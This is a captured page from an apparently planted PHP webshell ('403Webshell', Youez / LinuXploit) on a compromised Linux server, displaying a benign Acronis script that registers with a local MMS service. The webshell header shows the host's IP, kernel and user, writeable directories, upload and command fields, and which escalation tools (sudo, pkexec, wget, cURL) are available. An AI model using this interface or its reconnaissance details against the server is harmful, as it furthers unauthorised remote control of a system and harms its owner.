403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/Acronis/PyShell/site-tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/Acronis/PyShell/site-tools/register_mms.py
import acrort
import acrobind
import http.client
import json

MMS_PORT = 43234


def register(env, server, port=None, user=None, mms_port=None):
    connection = http.client.HTTPConnection('localhost', mms_port if mms_port else MMS_PORT)
    connection.connect()

    headers = {
        'Content-type': 'application/json; charset=utf-8'
    }
    body = {
        'environment': env,
        'address': server,
    }
    if port:
        body['port'] = int(port)
    if user:
        body['login'] = user[0]
        body['password'] = user[1]

    connection.request('POST', '/api/mms/registration', json.dumps(body), headers)
    return connection.getresponse()


def main():
    parser = acrobind.CommandLineParser()
    parser.add_argument('--env', '-e', choices=['onpremise', 'cloud'], help='Environment', required=True)
    parser.add_argument('--server', '-s', help='Registration server address', required=True)
    parser.add_argument('--port', '-p', help='Registration server port')
    parser.add_argument('--user', '-u', nargs=2, metavar=('USERNAME', 'PASSWORD'), help='Credentials for registration service')
    parser.add_argument('--mms-port', '-mp', help='MMS port')
    parser.append_processor(acrobind.OutputArgumentsProcessor())
    
    config = None
    try:
        config = parser.parse_arguments()
    except acrort.Exception as exception:
        error = exception.to_error()
        ret = error.to_exit_code()
        if ret == acrort.common.EXCEPTION_AWARE_RETURN_CODE:
            error.throw()
        return ret

    args = config['args']
    log = acrobind.Output(config, end='\n')
    log.write('Register MMS...')

    result = register(args.env, args.server, args.port, args.user, args.mms_port)

    log.write(str(result.status) + ': ' + result.reason)

if __name__ == '__main__':
    exit(acrobind.interruptable_safe_execute(main))


Youez - 2016 - github.com/yon3zu
LinuXploit